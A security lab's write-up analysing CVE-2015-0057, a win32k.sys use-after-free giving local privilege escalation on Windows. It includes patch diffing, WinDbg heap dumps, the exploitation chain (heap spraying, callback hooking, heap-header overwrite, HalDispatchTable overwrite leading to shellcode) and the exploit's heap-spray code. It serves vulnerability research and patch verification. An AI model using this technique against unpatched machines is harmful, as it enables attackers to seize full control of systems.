作者: 深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/9-fXGgS0zNagyVWF2lwklg
一、漏洞信息
1、漏洞簡述
- 漏洞名稱:Microsoft Windows Win32k Local Privilege Escalation Vulnerability
- 漏洞編號:CVE-2015-0057
- 漏洞類型:UAF
- 漏洞影響:本地提權
- CVSS3.0:N/A
- CVSS2.0:7.2
2、組件和漏洞概述
win32k.sys是Windows的多用戶管理的sys文件。
Windows內核模式驅動程序(Win32k.sys)中存在一個特權提升漏洞,該漏洞不當處理內存中的對象時引起。成功利用此漏洞的攻擊者可以獲得更高的特權并讀取任意數量的內核內存。攻擊者可能會安裝程序;查看,更改或刪除數據;或創建具有完全管理權限的新帳戶。
3、影響版本
Windows Server 2003 Service Pack 2
Windows Server 2008 Service Pack 2
Windows Server 2008 R2 Service Pack 1
Windows Vista Service Pack 2
Windows Server 2012
Windows Server 2012 R2
Windows 7 Service Pack 1
Windows 8
Windows 8.1
Windows RT
Windows RT 8.1
4、解決方案
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010
二、漏洞復現
1、環境搭建
Windows:Windows 7 sp1 x86,Windows 8.1 x64
win32k.sys:6.1.7601.17514,6.3.9600.17393
2、復現過程
運行指定版本的系統,執行EXP


三、漏洞分析
1、基本信息
- 漏洞文件:win32k.sys
- 漏洞函數:xxxEnableWndSBArrows
- 漏洞對象:tagWND
2、背景知識
tagSBINFO(tagWND+0xB0)
大小0x24,是本次UAF的對象

tagPROPLIST(tagWND+0xA8)

tagPROP

_LARGE_UNICODE_STRING(tagWND+0xD8)

_LARGE_UNICODE_STRING,由RtlInitLargeUnicodeString函數可以初始化Buffer, NtUserDefSetText可以設置 tagWND 的 strName 字段,此函數可以做到桌面堆大小的任意分配


tagMENU(tagWND+0xB8,tagWND+0xC0)


_HEAP_ENTRY
表示堆頭,大小為0x10,前8字節如果有對齊的需要就存放上一個堆塊的數據,在這里一般是長度為0x8
kd> dt _heap_entry -vr
nt!_HEAP_ENTRY
struct _HEAP_ENTRY, 22 elements, 0x10 bytes
+0x000 PreviousBlockPrivateData : Ptr64 to Void
+0x008 Size : Uint2B
+0x00a Flags : UChar
+0x00b SmallTagIndex : UChar
+0x00c PreviousSize : Uint2B
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 Reserved : Ptr64 to Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 to Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x008 AgregateCode : Uint8B
3、補丁對比
bindiff比較,主要是補丁代碼處將rbx和rsi+0xb0的值進行了比較

看一下反編譯后的補丁對比,可以看到補丁后的43行加了一層判斷,假如不滿足條件,則會跳轉到錯誤處理函數


4、漏洞分析
漏洞利用流程
1、首先通過堆噴將一段堆空間覆蓋成大量tagWND+tagPROPLIST的結構,有一塊是tagWND+tagSBINFO
2、之后通過用戶態回調(xxxDrawScrollBar)hook了_ClientLoadLibrary函數。然后我們將我們自己定義回調回來的tagWND釋放掉,再次通過setPROP申請回來,此時原來的tagSBINFO(0x28+0x8)的數據結構就變成tagPROPLIST+tagPROP(0x18+0x10+0x8)的結構了

3、后續系統將這塊空間(原tagSBINFO現tagPROPLIST+tagPROP)進行了寫入操作,將里面的cEntries由0x2改為了0xe,這樣我們就可以覆蓋(0xe-0x2)*0x10大小的緩沖區了(這里就實現了UAF,通過原tagSBINFO的指針將第一個字節進行了改變,這樣的操作在tagSBINFO中是很正常的,但是在tagPROPLIST中就可以造成緩沖區溢出,我們可以多溢出0xc個tagPROP大小)

4、在原tagSBINFO現tagPROPLIST+tagPROP的位置后面放入strNAME+tagMENU的結構,通過覆蓋堆頭,修改堆塊大小標識符,將后面tagMENU的空間也覆蓋入這個堆塊上了,這樣我們釋放這個堆塊,后面的tagMENU也被釋放了,但是這個堆塊的句柄還在我們手里,再次進行分配,就又造成了一次UAF漏洞(覆蓋堆頭的目的是為了UAF,我們可以先用SetMenuItemInfoA函數修改 rgItems 字段從而實現任意寫,寫的內容就是shellcode的指針,這個位置實際上就是HalDispatchTable+0x8的位置,之后覆蓋整塊空間再分配,通過rop執行到shellcode的地址,完成提權)
數據結構大概如此圖:

靜態分析:
先看一下漏洞函數,這樣看起來比較丑,我們并不知道這里面的諸如v3等等的變量含義是什么意思,這時我們可以在windbg里面通過dt查看tagWND的結構體

kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x028 state : Uint4B
+0x028 bHasMeun : Pos 0, 1 Bit
+0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
+0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
+0x028 bHasCaption : Pos 3, 1 Bit
+0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
+0x028 bMsgBox : Pos 5, 1 Bit
+0x028 bActiveFrame : Pos 6, 1 Bit
+0x028 bHasSPB : Pos 7, 1 Bit
+0x028 bNoNCPaint : Pos 8, 1 Bit
+0x028 bSendEraseBackground : Pos 9, 1 Bit
+0x028 bEraseBackground : Pos 10, 1 Bit
+0x028 bSendNCPaint : Pos 11, 1 Bit
+0x028 bInternalPaint : Pos 12, 1 Bit
+0x028 bUpdateDirty : Pos 13, 1 Bit
+0x028 bHiddenPopup : Pos 14, 1 Bit
+0x028 bForceMenuDraw : Pos 15, 1 Bit
+0x028 bDialogWindow : Pos 16, 1 Bit
+0x028 bHasCreatestructName : Pos 17, 1 Bit
+0x028 bServerSideWindowProc : Pos 18, 1 Bit
+0x028 bAnsiWindowProc : Pos 19, 1 Bit
+0x028 bBeingActivated : Pos 20, 1 Bit
+0x028 bHasPalette : Pos 21, 1 Bit
+0x028 bPaintNotProcessed : Pos 22, 1 Bit
+0x028 bSyncPaintPending : Pos 23, 1 Bit
+0x028 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
+0x028 bRecievedSuspendMsg : Pos 25, 1 Bit
+0x028 bToggleTopmost : Pos 26, 1 Bit
+0x028 bRedrawIfHung : Pos 27, 1 Bit
+0x028 bRedrawFrameIfHung : Pos 28, 1 Bit
+0x028 bAnsiCreator : Pos 29, 1 Bit
+0x028 bMaximizesToMonitor : Pos 30, 1 Bit
+0x028 bDestroyed : Pos 31, 1 Bit
+0x02c state2 : Uint4B
+0x02c bWMPaintSent : Pos 0, 1 Bit
+0x02c bEndPaintInvalidate : Pos 1, 1 Bit
+0x02c bStartPaint : Pos 2, 1 Bit
+0x02c bOldUI : Pos 3, 1 Bit
+0x02c bHasClientEdge : Pos 4, 1 Bit
+0x02c bBottomMost : Pos 5, 1 Bit
+0x02c bFullScreen : Pos 6, 1 Bit
+0x02c bInDestroy : Pos 7, 1 Bit
+0x02c bWin31Compat : Pos 8, 1 Bit
+0x02c bWin40Compat : Pos 9, 1 Bit
+0x02c bWin50Compat : Pos 10, 1 Bit
+0x02c bMaximizeMonitorRegion : Pos 11, 1 Bit
+0x02c bCloseButtonDown : Pos 12, 1 Bit
+0x02c bMaximizeButtonDown : Pos 13, 1 Bit
+0x02c bMinimizeButtonDown : Pos 14, 1 Bit
+0x02c bHelpButtonDown : Pos 15, 1 Bit
+0x02c bScrollBarLineUpBtnDown : Pos 16, 1 Bit
+0x02c bScrollBarPageUpBtnDown : Pos 17, 1 Bit
+0x02c bScrollBarPageDownBtnDown : Pos 18, 1 Bit
+0x02c bScrollBarLineDownBtnDown : Pos 19, 1 Bit
+0x02c bAnyScrollButtonDown : Pos 20, 1 Bit
+0x02c bScrollBarVerticalTracking : Pos 21, 1 Bit
+0x02c bForceNCPaint : Pos 22, 1 Bit
+0x02c bForceFullNCPaintClipRgn : Pos 23, 1 Bit
+0x02c FullScreenMode : Pos 24, 3 Bits
+0x02c bCaptionTextTruncated : Pos 27, 1 Bit
+0x02c bNoMinmaxAnimatedRects : Pos 28, 1 Bit
+0x02c bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
+0x02c bShellHookRegistered : Pos 30, 1 Bit
+0x02c bWMCreateMsgProcessed : Pos 31, 1 Bit
+0x030 ExStyle : Uint4B
+0x030 bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
+0x030 bUnused1 : Pos 1, 1 Bit
+0x030 bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
+0x030 bWS_EX_TOPMOST : Pos 3, 1 Bit
+0x030 bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
+0x030 bWS_EX_TRANSPARENT : Pos 5, 1 Bit
+0x030 bWS_EX_MDICHILD : Pos 6, 1 Bit
+0x030 bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
+0x030 bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
+0x030 bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
+0x030 bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
+0x030 bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
+0x030 bWS_EX_RIGHT : Pos 12, 1 Bit
+0x030 bWS_EX_RTLREADING : Pos 13, 1 Bit
+0x030 bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
+0x030 bUnused2 : Pos 15, 1 Bit
+0x030 bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
+0x030 bWS_EX_STATICEDGE : Pos 17, 1 Bit
+0x030 bWS_EX_APPWINDOW : Pos 18, 1 Bit
+0x030 bWS_EX_LAYERED : Pos 19, 1 Bit
+0x030 bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
+0x030 bUnused3 : Pos 21, 1 Bit
+0x030 bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
+0x030 bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
+0x030 bUnused4 : Pos 24, 1 Bit
+0x030 bWS_EX_COMPOSITED : Pos 25, 1 Bit
+0x030 bUIStateActive : Pos 26, 1 Bit
+0x030 bWS_EX_NOACTIVATE : Pos 27, 1 Bit
+0x030 bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
+0x030 bRedirected : Pos 29, 1 Bit
+0x030 bUIStateKbdAccelHidden : Pos 30, 1 Bit
+0x030 bUIStateFocusRectHidden : Pos 31, 1 Bit
+0x034 style : Uint4B
+0x034 bReserved1 : Pos 0, 16 Bits
+0x034 bWS_MAXIMIZEBOX : Pos 16, 1 Bit
+0x034 bReserved2 : Pos 0, 16 Bits
+0x034 bWS_TABSTOP : Pos 16, 1 Bit
+0x034 bReserved3 : Pos 0, 16 Bits
+0x034 bUnused5 : Pos 16, 1 Bit
+0x034 bWS_MINIMIZEBOX : Pos 17, 1 Bit
+0x034 bReserved4 : Pos 0, 16 Bits
+0x034 bUnused6 : Pos 16, 1 Bit
+0x034 bWS_GROUP : Pos 17, 1 Bit
+0x034 bReserved5 : Pos 0, 16 Bits
+0x034 bUnused7 : Pos 16, 2 Bits
+0x034 bWS_THICKFRAME : Pos 18, 1 Bit
+0x034 bReserved6 : Pos 0, 16 Bits
+0x034 bUnused8 : Pos 16, 2 Bits
+0x034 bWS_SIZEBOX : Pos 18, 1 Bit
+0x034 bReserved7 : Pos 0, 16 Bits
+0x034 bUnused9 : Pos 16, 3 Bits
+0x034 bWS_SYSMENU : Pos 19, 1 Bit
+0x034 bWS_HSCROLL : Pos 20, 1 Bit
+0x034 bWS_VSCROLL : Pos 21, 1 Bit
+0x034 bWS_DLGFRAME : Pos 22, 1 Bit
+0x034 bWS_BORDER : Pos 23, 1 Bit
+0x034 bMaximized : Pos 24, 1 Bit
+0x034 bWS_CLIPCHILDREN : Pos 25, 1 Bit
+0x034 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
+0x034 bDisabled : Pos 27, 1 Bit
+0x034 bVisible : Pos 28, 1 Bit
+0x034 bMinimized : Pos 29, 1 Bit
+0x034 bWS_CHILD : Pos 30, 1 Bit
+0x034 bWS_POPUP : Pos 31, 1 Bit
+0x038 hModule : Ptr64 Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 tagWND
+0x050 spwndPrev : Ptr64 tagWND
+0x058 spwndParent : Ptr64 tagWND
+0x060 spwndChild : Ptr64 tagWND
+0x068 spwndOwner : Ptr64 tagWND
+0x070 rcWindow : tagRECT
+0x080 rcClient : tagRECT
+0x090 lpfnWndProc : Ptr64 int64
+0x098 pcls : Ptr64 tagCLS
+0x0a0 hrgnUpdate : Ptr64 HRGN__
+0x0a8 ppropList : Ptr64 tagPROPLIST
+0x0b0 pSBInfo : Ptr64 tagSBINFO
+0x0b8 spmenuSys : Ptr64 tagMENU
+0x0c0 spmenu : Ptr64 tagMENU
+0x0c8 hrgnClip : Ptr64 HRGN__
+0x0d0 hrgnNewFrame : Ptr64 HRGN__
+0x0d8 strName : _LARGE_UNICODE_STRING
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 tagWND
+0x0f8 hImc : Ptr64 HIMC__
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 _ACTIVATION_CONTEXT
+0x110 pTransform : Ptr64 _D3DMATRIX
+0x118 spwndClipboardListenerNext : Ptr64 tagWND
+0x120 ExStyle2 : Uint4B
+0x120 bClipboardListener : Pos 0, 1 Bit
+0x120 bLayeredInvalidate : Pos 1, 1 Bit
+0x120 bRedirectedForPrint : Pos 2, 1 Bit
+0x120 bLinked : Pos 3, 1 Bit
+0x120 bLayeredForDWM : Pos 4, 1 Bit
+0x120 bLayeredLimbo : Pos 5, 1 Bit
+0x120 bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
+0x120 bVerticallyMaximizedLeft : Pos 7, 1 Bit
+0x120 bVerticallyMaximizedRight : Pos 8, 1 Bit
+0x120 bHasOverlay : Pos 9, 1 Bit
+0x120 bConsoleWindow : Pos 10, 1 Bit
+0x120 bChildNoActivate : Pos 11, 1 Bit
通過結構體,我們可以清楚的知曉要操作哪一塊內存,下面是優化后函數的部分截圖,這里面的第二個和第三個參數可以通過在線網站
來查詢內核函數的原型函數,不過問題不大,我們知道了v3就是pSBInfo就可以了,上面對一些結構體進行了介紹

如果只對這個漏洞進行POC的編寫,分析到這一步就可以了,步驟大概為:
窗口創建->EnableScrollBar(后面兩個參數為3)->CreateWindowExA->設置ShowWindow和UpdateWindow使窗口可見->Hook__ClientLoadLibrary并DestroyWindow
接下來繼續看下哪里出了問題導致這次攻擊的發生,觀察偽代碼發現,在2處堆pSBInfo進行了修改

方才的偽代碼在匯編中的形式如下,正常情況下函數會走到1的位置

在上面的分析我們得出了結論,發現在這里將0x2改為了0xe,造成了UAF
補丁前動態分析:
我們先看一下回調函數的調用棧,我們在調用xxxDrawScrollBar的地址和該地址的下一條指令下斷點,再向nt!KeUserModeCallback下斷點(因為任何的user-mode callback流程最終內核到用戶層的入口點都會是 nt!KeUserModeCallback)

這時我們執行,觀察函數調用棧

此時我們查看下tagWND的數據結構,rdi的值為tagWND的起始地址


現在前置內容已經講完了,我們從頭來看一下這個程序實際執行的時候會有什么樣的動作
首先下硬件斷點

之后執行exp,可以看到windbg中斷在了函數起始的位置


然后執行到第一個xxxDrawScrollBar的位置上,此時觀察下rbx和rdi+0xb0位置上的值,可以觀察到,此時rdi+0xb0位置上的值還并未改變

這時F10進入下一步,執行完了xxxDrawScrollBar,再觀察下rbx和rdi+0xb0位置的值,可以發現,兩塊緩沖區都被破壞掉了

此時我們看rdi已經沒有用了,我們真正操作的桌面堆空間實際上是rbx附近的內存空間,而其附近的內存空間已被堆噴排布過了,該空間布局可供參考,有助于理解該漏洞對內存的操作
d> dd rbx-0x200 L200
fffff901`40974990 00000000 00000000 00000000 00000000
fffff901`409749a0 40c9b9f0 fffff901 00000000 00000000
fffff901`409749b0 00000000 00000000 00000000 00000000
fffff901`409749c0 00000000 00000000 00000000 00000000
fffff901`409749d0 00000000 00000000 00000000 00000000
fffff901`409749e0 00000000 00000000 9ff56c80 08000874
fffff901`409749f0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974a00 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974a10 0000225e 00000000 96f56c89 0800087d
fffff901`40974a20 000302af 00000000 00000000 00000000
fffff901`40974a30 00000000 00000000 da0a2090 ffffe000
fffff901`40974a40 40974a20 fffff901 00000000 00000000
fffff901`40974a50 00000008 00000001 00000000 00000000
fffff901`40974a60 00000000 00000000 00000000 00000000
fffff901`40974a70 40c9be80 fffff901 00000000 00000000
fffff901`40974a80 00000000 00000000 00000000 00000000
fffff901`40974a90 00000000 00000000 00000000 00000000
fffff901`40974aa0 00000000 00000000 00000000 00000000
fffff901`40974ab0 00000000 00000000 9ff56c80 08000874
fffff901`40974ac0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ad0 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974ae0 0000225f 00000000 96f56c89 0800087d
fffff901`40974af0 000302b1 00000000 00000000 00000000
fffff901`40974b00 00000000 00000000 da0a2090 ffffe000
fffff901`40974b10 40974af0 fffff901 00000000 00000000
fffff901`40974b20 00000008 00000001 00000000 00000000
fffff901`40974b30 00000000 00000000 00000000 00000000
fffff901`40974b40 40c9c310 fffff901 00000000 00000000
fffff901`40974b50 00000000 00000000 00000000 00000000
fffff901`40974b60 00000000 00000000 00000000 00000000
fffff901`40974b70 00000000 00000000 00000000 00000000
fffff901`40974b80 00000000 00000000 9ff56c80 08000874
fffff901`40974b90 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ba0 00000001 00000000 ccccdddd ccccdddd
fffff901`40974bb0 00000006 00000000 8cf56c93 1000087d
fffff901`40974bc0 43434343 43434343 43434343 43434343
fffff901`40974bd0 43434343 43434343 43434343 43434343
fffff901`40974be0 43434343 43434343 43434343 43434343
fffff901`40974bf0 43434343 43434343 43434343 43434343
fffff901`40974c00 43434343 43434343 43434343 43434343
fffff901`40974c10 43434343 43434343 43434343 43434343
fffff901`40974c20 43434343 43434343 43434343 43434343
fffff901`40974c30 43434343 43434343 43434343 43434343
fffff901`40974c40 43434343 43434343 43434343 43434343
fffff901`40974c50 43434343 43434343 43434343 43434343
fffff901`40974c60 43434343 43434343 43434343 43434343
fffff901`40974c70 43434343 43434343 43434343 43434343
fffff901`40974c80 43434343 43434343 43434343 43434343
fffff901`40974c90 43434343 43434343 43434343 43434343
fffff901`40974ca0 43434343 43434343 43434343 43434343
fffff901`40974cb0 00000000 00000000 96f56c89 0800086e
fffff901`40974cc0 000302b3 00000000 00000000 00000000
fffff901`40974cd0 00000000 00000000 da0a2090 ffffe000
fffff901`40974ce0 40974cc0 fffff901 00000000 00000000
fffff901`40974cf0 00000008 00000001 00000000 00000000
fffff901`40974d00 00000000 00000000 00000000 00000000
fffff901`40974d10 40c9c7a0 fffff901 00000000 00000000
fffff901`40974d20 00000000 00000000 00000000 00000000
fffff901`40974d30 00000000 00000000 00000000 00000000
fffff901`40974d40 00000000 00000000 00000000 00000000
fffff901`40974d50 00000000 00000000 8cf56c93 10000874
fffff901`40974d60 00000000 00000000 9df56d83 10000865
fffff901`40974d70 41414141 41414141 41414141 41414141
fffff901`40974d80 41414141 41414141 41414141 41414141
fffff901`40974d90 41414141 41414141 41414141 41414141
fffff901`40974da0 41414141 41414141 41414141 41414141
fffff901`40974db0 41414141 41414141 41414141 41414141
fffff901`40974dc0 41414141 41414141 41414141 41414141
fffff901`40974dd0 41414141 41414141 41414141 41414141
fffff901`40974de0 41414141 41414141 41414141 41414141
fffff901`40974df0 41414141 41414141 41414141 41414141
fffff901`40974e00 41414141 41414141 41414141 41414141
fffff901`40974e10 41414141 41414141 41414141 41414141
fffff901`40974e20 41414141 41414141 41414141 41414141
fffff901`40974e30 41414141 41414141 41414141 41414141
fffff901`40974e40 41414141 41414141 41414141 41414141
fffff901`40974e50 00000000 00000000 9ff56c80 0800086e
fffff901`40974e60 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974e70 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974e80 00002261 00000000 96f56c89 0800087d
fffff901`40974e90 000302b5 00000000 00000000 00000000
fffff901`40974ea0 00000000 00000000 da0a2090 ffffe000
fffff901`40974eb0 40974e90 fffff901 00000000 00000000
fffff901`40974ec0 00000008 00000001 00000000 00000000
fffff901`40974ed0 00000000 00000000 00000000 00000000
fffff901`40974ee0 40c9cc30 fffff901 00000000 00000000
fffff901`40974ef0 00000000 00000000 00000000 00000000
fffff901`40974f00 00000000 00000000 00000000 00000000
fffff901`40974f10 00000000 00000000 00000000 00000000
fffff901`40974f20 00000000 00000000 9ff56c80 08000874
fffff901`40974f30 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974f40 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974f50 00002262 00000000 96f56c89 0800087d
fffff901`40974f60 000302b7 00000000 00000000 00000000
fffff901`40974f70 00000000 00000000 da0a2090 ffffe000
fffff901`40974f80 40974f60 fffff901 00000000 00000000
fffff901`40974f90 00000008 00000001 00000000 00000000
fffff901`40974fa0 00000000 00000000 00000000 00000000
fffff901`40974fb0 40c9d0c0 fffff901 00000000 00000000
fffff901`40974fc0 00000000 00000000 00000000 00000000
fffff901`40974fd0 00000000 00000000 00000000 00000000
fffff901`40974fe0 00000000 00000000 00000000 00000000
fffff901`40974ff0 00000000 00000000 9ff56c80 08000874
fffff901`40975000 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40975010 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40975020 00002263 00000000 96f56c89 0800087d
fffff901`40975030 000302b9 00000000 00000000 00000000
fffff901`40975040 00000000 00000000 da0a2090 ffffe000
fffff901`40975050 40975030 fffff901 00000000 00000000
fffff901`40975060 00000008 00000001 00000000 00000000
fffff901`40975070 00000000 00000000 00000000 00000000
fffff901`40975080 40c9d550 fffff901 00000000 00000000
fffff901`40975090 00000000 00000000 00000000 00000000
fffff901`409750a0 00000000 00000000 00000000 00000000
fffff901`409750b0 00000000 00000000 00000000 00000000
fffff901`409750c0 00000000 00000000 9ff56c80 08000874
fffff901`409750d0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`409750e0 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`409750f0 00002264 00000000 96f56c89 0800087d
fffff901`40975100 000302bb 00000000 00000000 00000000
fffff901`40975110 00000000 00000000 da0a2090 ffffe000
fffff901`40975120 40975100 fffff901 00000000 00000000
fffff901`40975130 00000008 00000001 00000000 00000000
fffff901`40975140 00000000 00000000 00000000 00000000
fffff901`40975150 40c9d9e0 fffff901 00000000 00000000
fffff901`40975160 00000000 00000000 00000000 00000000
fffff901`40975170 00000000 00000000 00000000 00000000
fffff901`40975180 00000000 00000000 00000000 00000000
此時直接觀察rbx,結構還是taSBINFO的結構

之后步過xxxDrawScrollBar,此時數據結構已經換成了tagPROPLIST+tagPROP

其實上面的兩塊(其實是同一塊)數據結構前面還有一個堆頭,如下所示,只不過rbx存儲的是帶有實際意義的數據結構的起始位置

當執行過fffff960`003254de之后,cEntries變為了0xe,此時再次使用,就可以向后覆蓋_heap_entry

此時的數據結構
kd> dd rbx-8 L100
fffff901`40a73a08 9ff56c80 08000874 0000000e 00000002 tagProplist start
fffff901`40a73a18 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73a28 ccccdddd ccccdddd 00000006 00000000 tagProplist end
fffff901`40a73a38 8cf56c93 1000087d 43434343 43434343 _heap_entry被修改,此時后面的tagMENU結構被該堆頭覆蓋
fffff901`40a73a48 43434343 43434343 43434343 43434343
fffff901`40a73a58 43434343 43434343 43434343 43434343
fffff901`40a73a68 43434343 43434343 43434343 43434343
fffff901`40a73a78 43434343 43434343 43434343 43434343
fffff901`40a73a88 43434343 43434343 43434343 43434343
fffff901`40a73a98 43434343 43434343 43434343 43434343
fffff901`40a73aa8 43434343 43434343 43434343 43434343
fffff901`40a73ab8 43434343 43434343 43434343 43434343
fffff901`40a73ac8 43434343 43434343 43434343 43434343
fffff901`40a73ad8 43434343 43434343 43434343 43434343
fffff901`40a73ae8 43434343 43434343 43434343 43434343
fffff901`40a73af8 43434343 43434343 43434343 43434343
fffff901`40a73b08 43434343 43434343 43434343 43434343
fffff901`40a73b18 43434343 43434343 43434343 43434343
fffff901`40a73b28 43434343 43434343 00000000 00000000
fffff901`40a73b38 96f56c89 0800086e 000426ed 00000000 tagMENU start
fffff901`40a73b48 00000000 00000000 00000000 00000000
fffff901`40a73b58 da0a2090 ffffe000 40a73b40 fffff901
fffff901`40a73b68 00000000 00000000 00000008 00000001
fffff901`40a73b78 00000000 00000000 00000000 00000000
fffff901`40a73b88 00000000 00000000 408befe0 fffff901 將該值通過SetMenuItemInfoA修改為shellcode的地址,此時尚未修改
fffff901`40a73b98 00000000 00000000 00000000 00000000
fffff901`40a73ba8 00000000 00000000 00000000 00000000
fffff901`40a73bb8 00000000 00000000 00000000 00000000
fffff901`40a73bc8 00000000 00000000 00000000 00000000
fffff901`40a73bd8 8cf56c93 10000874 00000000 00000000
fffff901`40a73be8 9df56d83 10000865 41414141 41414141
fffff901`40a73bf8 41414141 41414141 41414141 41414141
fffff901`40a73c08 41414141 41414141 41414141 41414141
fffff901`40a73c18 41414141 41414141 41414141 41414141
fffff901`40a73c28 41414141 41414141 41414141 41414141
fffff901`40a73c38 41414141 41414141 41414141 41414141
fffff901`40a73c48 41414141 41414141 41414141 41414141
fffff901`40a73c58 41414141 41414141 41414141 41414141
fffff901`40a73c68 41414141 41414141 41414141 41414141
fffff901`40a73c78 41414141 41414141 41414141 41414141
fffff901`40a73c88 41414141 41414141 41414141 41414141
fffff901`40a73c98 41414141 41414141 41414141 41414141
fffff901`40a73ca8 41414141 41414141 41414141 41414141
fffff901`40a73cb8 41414141 41414141 41414141 41414141
fffff901`40a73cc8 41414141 41414141 00000000 00000000
fffff901`40a73cd8 9ff56c80 0800086e 00000002 00000002
fffff901`40a73ce8 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73cf8 bbbbbbbb bbbbbbbb 00002261 00000000
fffff901`40a73d08 96f56c89 0800087d 000426eb 00000000
fffff901`40a73d18 00000000 00000000 00000000 00000000
fffff901`40a73d28 da0a2090 ffffe000 40a73d10 fffff901
fffff901`40a73d38 00000000 00000000 00000008 00000001
fffff901`40a73d48 00000000 00000000 00000000 00000000
fffff901`40a73d58 00000000 00000000 408bf470 fffff901
fffff901`40a73d68 00000000 00000000 00000000 00000000
fffff901`40a73d78 00000000 00000000 00000000 00000000
fffff901`40a73d88 00000000 00000000 00000000 00000000
fffff901`40a73d98 00000000 00000000 00000000 00000000
fffff901`40a73da8 9ff56c80 08000874 00000002 00000002
fffff901`40a73db8 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73dc8 bbbbbbbb bbbbbbbb 00002262 00000000
fffff901`40a73dd8 96f56c89 0800087d 000426e9 00000000
fffff901`40a73de8 00000000 00000000 00000000 00000000
fffff901`40a73df8 da0a2090 ffffe000 40a73de0 fffff901
補丁后動態分析
首先下硬件斷點

執行exp,可以看到windbg中斷在了函數起始的位置


然后執行到第一個xxxDrawScrollBar的位置上,此時觀察下rbx和rdi+0xb0位置上的值,可以觀察到,此時rdi+0xb0位置上的值還并未改變

這時F10進入下一步,執行完了xxxDrawScrollBar,再觀察下rbx和rdi+0xb0位置的值,可以發現,兩塊緩沖區都被破壞掉了

不進行跳轉,執行releasedc


成功的將漏洞利用防御住了
5、EXP分析
本文根據公網已有的exp分析,包括繞過各個安全機制,hook等等,提煉出以下幾個關鍵步驟:
1、堆噴函數,主要進行堆空間的布局,也就是堆風水,堆噴后堆空間的布局基本和上面動態分析的差不多,這里就不再贅述了
BOOL SprayObject()
{
int j = 0;
CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
LARGE_UNICODE_STRING o1lstr, o2lstr;
// build first overlay
memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
// build second overlay
memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD*)o2str = 0x00000000;
*(DWORD*)(o2str + 4) = 0x00000000;
*(DWORD*)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD*)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10);
string clearh, newh;
o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
clearh.append(o2str, 16);
newh = XOR(clearh, xorKey);
memcpy(o2str, newh.c_str(), 16);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++)
{
// property list
SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
// overlay 1
if ((i % 0x150) == 0)
{
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
}
// menu object
hmenutab[i] = CreateMenu();
if (hmenutab[i] == 0)
return FALSE;
// overlay 2
if ((i % 0x150) == 0)
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
